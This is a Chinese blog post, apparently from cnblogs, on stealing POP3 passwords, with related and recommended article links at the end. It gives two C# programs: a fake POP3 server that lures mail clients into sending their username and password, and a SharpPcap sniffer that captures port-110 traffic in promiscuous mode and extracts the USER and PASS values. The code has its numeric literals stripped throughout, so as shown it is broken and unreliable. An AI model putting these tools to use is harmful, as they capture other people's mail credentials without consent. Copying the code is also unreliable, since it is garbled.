成品与代码可在 https://pan.baidu.com/s/1MPfU2T_6YN6mgxUL0wrZxw 下载

来说下pop协议,

英文版,https://tools.ietf.org/html/rfc1939

中文版,http://www.cnpaf.net/class/pop3/200408/122.html

pop 协议基于 tcp 协议,以明文ascii码的形式传输内容。且不区分大小写。

这里说下2种获取密码的方式:

  1. pop协议分析
  2. pop数据包分析

() pop协议分析

pop协议分析,就是伪造了一个邮件服务器,诱骗客户端传输密码,过程如下。

http://www.cnblogs.com/rr163/p/4209944.html 这位同学给了一个很好的demo.

里面写了个CAPA,开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单.

如果用FoxMail 客户端是没用这个的,如果用的outlook,会传输此命令。

代码 如下,就是复制别人的(^_^)。

using System;
using System.Net;
using System.Net.Sockets;
using System.Text; namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
try
{
IPEndPoint ipEndPoint= new IPEndPoint(IPAddress.Parse("127.0.0.1"), );
TcpListener tcpServer = new TcpListener(ipEndPoint);
tcpServer.Start();
TcpClient tcpClient = tcpServer.AcceptTcpClient();
NetworkStream ns = tcpClient.GetStream();
byte[] outbytes = Encoding.ASCII.GetBytes("+OK Welcome" + Environment.NewLine); //服务器的欢迎
ns.Write(outbytes, , outbytes.Length);
byte[] userBytes = new byte[];//密码存储
ns.Read(userBytes, , userBytes.Length);
string capa = Encoding.ASCII.GetString(userBytes);//
if (capa.IndexOf("CAPA") >= )//开始与 POP3 Server 送出的第一个指令,用于取得此服务器的功能选项清单
{
byte[] capaByteArr = Encoding.ASCII.GetBytes("" + Environment.NewLine);
ns.Write(capaByteArr, , capaByteArr.Length);
ns.Read(userBytes, , userBytes.Length);
}
outbytes = Encoding.ASCII.GetBytes("+OK" + Environment.NewLine);
ns.Write(outbytes, , outbytes.Length);
byte[] pwdBytes = new byte[];
ns.Read(pwdBytes, , pwdBytes.Length);
string user = Encoding.ASCII.GetString(userBytes).Replace("USER", "").Replace("\r\n", "").Replace("\0", "");
string pass = Encoding.ASCII.GetString(pwdBytes).Replace("PASS", "").Replace("\r\n", "").Replace("\0", "");
tcpClient.Close();
Console.WriteLine(string.Format("用户名:{0}\r\n密 码:{1}",user,pass));
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
Console.ReadKey();
}
}
}

然后设置下pop的服务器为127.0.0.1。 端口110,非加密传输。

收发下邮件,结果如下

()pop数据包分析(这里讲的多)

Pop3是基于TCP协议的,那来说说它的结构。以太网包头+IP包头+TCP/UDP+内容 4部分构成。

四种以太网数据包详解

Ethernet II协议,(pop3用的这个)

Ethernet 802.2协议,

Ethernet 802.3协议(IPX/SPX协议)

Ethernet SNAP协议,

说下POP3的数据包。

Ethernet II协议部分, 由6字节目标mac地址,6字节源mac地址,2字节协议类型构成,共14个字节

IP协议部分,由20个固定字节与40个可变字节构成,内容太多,大家去百度就好。IP地址就在这里,POP3里没有扩展内容,所以就是固定20字节。

TCP协议部分,依然是20个固定字节作为首部,TCP报文首部的最大长度是 80字节。选项部分为MSS( Maximum Segment Size 最大报文段长度,以太网默认为1460)。MSS=TCP报文段长度-TCP首部长度,所以1460不是确定值

这里有源端口号与目的端口号(占2字节)分别是目的端口号(占2字节),就在头文件里。

内容部分,就是ascii码。

来说思路:

1.  只查看端口为110的包.(为因默认在第38个字节)

2.  如有”USER”的包记录下用户名,如果有”PASS”的包,记录为密码。

这里用的是C#语言,SharpPcap,可以在https://sourceforge.net/projects/sharppcap/下载。

需要安装wincap(百度下就能下载到)。

引用PacketDotNet.dll,SharpPcap.dll。 结果如下。

代码如下:

using System;
using System.Text;
using SharpPcap;
using SharpPcap.LibPcap; namespace ConsoleApplication2
{
class Program
{
static string userName = string.Empty;
static CaptureDeviceList devices = CaptureDeviceList.Instance;
static ICaptureDevice device;
static void Main(string[] args)
{
try
{
getAdapter();
Console.WriteLine("");
Console.Write("请选择网卡编号:");
string macIndexStr = Console.ReadLine(); int macIndex = int.Parse(macIndexStr);
Console.WriteLine("编号为:"+macIndex+",开始监听...");
devices = CaptureDeviceList.Instance;
device = devices[macIndex];
device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival);
int readTimeoutMilliseconds = ;
device.Open(DeviceMode.Promiscuous, readTimeoutMilliseconds);
device.StartCapture(); }
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
}
Console.ReadKey();
}
private static void getAdapter()//获取网卡
{
int macIndex = ;
var devices = LibPcapLiveDeviceList.Instance;
//var devices = WinPcapDeviceList.Instance;
//var devices = CaptureDeviceList.Instance;
if (devices.Count < )
Console.WriteLine("此设备上没有网卡");
else
foreach (var dev in devices)
{
Console.WriteLine(macIndex + "." + dev.Interface.FriendlyName);
macIndex++;
}
}
private static string HexArrToAscii(byte[] s)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in s)
{
char c = (char)b;
if (!char.IsControl(c))
{
sb.Append(c);
}
else
{
sb.Append('.');
}
}
return sb.ToString();
}
private static void device_OnPacketArrival(object sender, CaptureEventArgs e)
{
var pData = e.Packet.Data;
if (pData.Length >= )
{
if (pData[] != ) //如果不是110 端口,则不记录
{
return;
}
}
string hexStr = HexArrToAscii(pData);
char[] packetArr = hexStr.ToCharArray();
if (packetArr.Length >= )
{
for (int i = ; i < packetArr.Length - ; i++)
{
if (packetArr[i] == 'U' && packetArr[i + ] == 'S' && packetArr[i + ] == 'E' && packetArr[i + ] == 'R')
{
int passLength = packetArr.Length - i - - ; //i + 3长度是数据包头,2长度是控制符
char[] userArr = new char[passLength]; for (int j = ; j < passLength - ; j++)
{
userArr[j] = packetArr[i + + j + ];
}
string resultPass = new string(userArr);
userName = resultPass;
}
}
}
if (!string.IsNullOrEmpty(userName) && packetArr.Length >= )
{
for (int i = ; i < packetArr.Length - ; i++)
{
if (packetArr[i] == 'P' && packetArr[i + ] == 'A' && packetArr[i + ] == 'S' && packetArr[i + ] == 'S')
{
int passLength = packetArr.Length - i - - ;//i + 3长度是数据包头,2长度是控制符
char[] passArr = new char[passLength]; for (int j = ; j < passLength - ; j++)
{
passArr[j] = packetArr[i + + j + ];
}
string resultPass = new string(passArr);
Console.WriteLine();
Console.WriteLine(string.Format("用户名:{0}\r\n密 码:{1}", userName, resultPass));
return;
}
}
}
}
}
}

pop3密码嗅探的更多相关文章

  1. 论坛IP地址追踪&路由器密码嗅探

    一.论坛IP地址查询 1.任何应用程序部可以调用一个标准的库函数来查看给定名称的主机IP地址.类似地,系统还提供一个逆函致—给定主机的IP地址,查看它所对应的主机名.大多数使用主机名作为参数的应用程序 ...

  2. [源码]python Scapy Ftp密码嗅探

    [源码]python Scapy Ftp密码嗅探 原理很简单,FTP密码明文传输的 截取tcp 21端口User和Pass数据即可 Scapy框架编译程序较大(一个空程序都25M),所以就不提供exe ...

  3. 密码嗅探工具dsniff

    密码嗅探工具dsniff   网络大量的服务都使用密码方式对使用者身份进行认证.如果使用非加密的方式传输,一旦数据被截获,就容易被嗅探到.Kali Linux预置了一款专用的密码嗅探工具dsniff. ...

  4. metasploit framework(七):密码嗅探

    run 当嗅探到流量中的用户密码信息时打印出来,目前只支持FTP,http get , pop3 还可以对抓包文件,进行密码提取,设置需要提取的文件路径 run就能提取里面的用户密码信息 查看和停掉某 ...

  5. pop协议,邮件密码嗅探 使用说明

    思路与源代码 可以查看 https://www.cnblogs.com/likehc/p/10140174.html 因为软件用的是Wincap,所以 第一步安装下 WinPcap 第二步,打开 sn ...

  6. kali 局域网嗅探

    1.局域网图片嗅探 工具  arpspoof arpspoof -i eth0 -t 192.1681.10(网卡 目标地址) 192.168.1.1 局域网网关,如果在Windows中可以使用局域网 ...

  7. 中间人攻击之ettercap嗅探

    中间人攻击: 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的 ...

  8. kali上密码工具使用例如mudusa,hydra等

    思路 各种密码类别大致数学原理 https://blog.csdn.net/carol980206/article/details/96705859 https://www.jianshu.com/p ...

  9. C#编程让Outlook乖乖交出帐户密码

    许多人习惯于让Outlook记住密码,收邮件时便不必每次都输入邮箱密码,一切让Outlook代劳.但时间一长,马虎的人会把自己的邮箱密码忘记,这样就无法重新设置或者登录Web界面收取邮件了.Outlo ...

随机推荐

  1. 以证书的方式登录ssh

    常常要登录多台Linux服务器,过去在Windows下使用SecureCRT,比较省心,配置还可以放到云盘,实时同步.现在改用MAC貌似就没有那么好用的东西了,每次ssh命令登录都需要输入密码,很烦. ...

  2. Java开发环境配置(JDK+Tomcat+MyEclipsed)

    前言 这个项目一开始,我只能说我把自己整的很无语,所以我只能在调整心态的基础上,重新把思路缕了一遍,好了,接下来就说java运行环境以及发布运行方法还有SSH环境配置. 内容 本次配置用到的安装包: ...

  3. See Elevator Run Floors

    “在我短暂的电梯作业中我发现,架构的优化能力是有限的.越是工于优化算法…越是会被自己的架构所制约….想要更好的优化,唯有超越架构………" 零.基础 优化建立在架构之上,这句话莫得问题,也莫得 ...

  4. THINKPHP 框架的模板技术

    //echo C('name'); App/Action/IndexAction.class.php文件夹下的 URL模式 //输出URL模式//echo C('URL_MODEL'),'<br ...

  5. Linux根目录结构

    1:  bin目录 此目录存放所有二进制命令(用户) 2:  boot目录 Linux内核及引导系统程序所需的目录 3:  dev目录 所有设备文件的目录(如声卡.磁盘.光驱) 4:  etc目录 二 ...

  6. linux硬盘IO优化相关资料整理

    内核相关参数 相关内核参数,有条件的话可以修改参数测试验证一下. 1./proc/sys/vm/dirty_ratio 这个参数则指定了当文件系统缓存脏页数量达到系统内存百分之多少时(如10%),系统 ...

  7. Qt(Mac) 进程的启动

    试了半天,终于成功了!!!!(教程都是Windows的) 1.与Windows不一样,Mac的要在了路径前加上open: 2.例 图为把一个按钮与TextEdit程序进程联系,点击后就可以启动Text ...

  8. P4196 [CQOI2006]凸多边形 半平面交

    \(\color{#0066ff}{题目描述}\) 逆时针给出n个凸多边形的顶点坐标,求它们交的面积.例如n=2时,两个凸多边形如下图: 则相交部分的面积为5.233. \(\color{#0066f ...

  9. python中各种转义字符

    转义字符 描述 \(在行尾时) 续行符 \\ 反斜杠符号 \’ 单引号 \” 双引号 \a 响铃 \b 退格(Backspace) \e 转义 \000 空 \n 换行 \v 纵向制表符 \t 横向制 ...

  10. Django之auth模块(用户认证)登陆组件

    auth模块简介 auth模块是对登录认证方法的一种封装,之前我们获取用户输入的用户名及密码后需要自己从user表里查询有没有用户名和密码符合的对象, 而有了auth模块之后就可以很轻松的去验证用户的 ...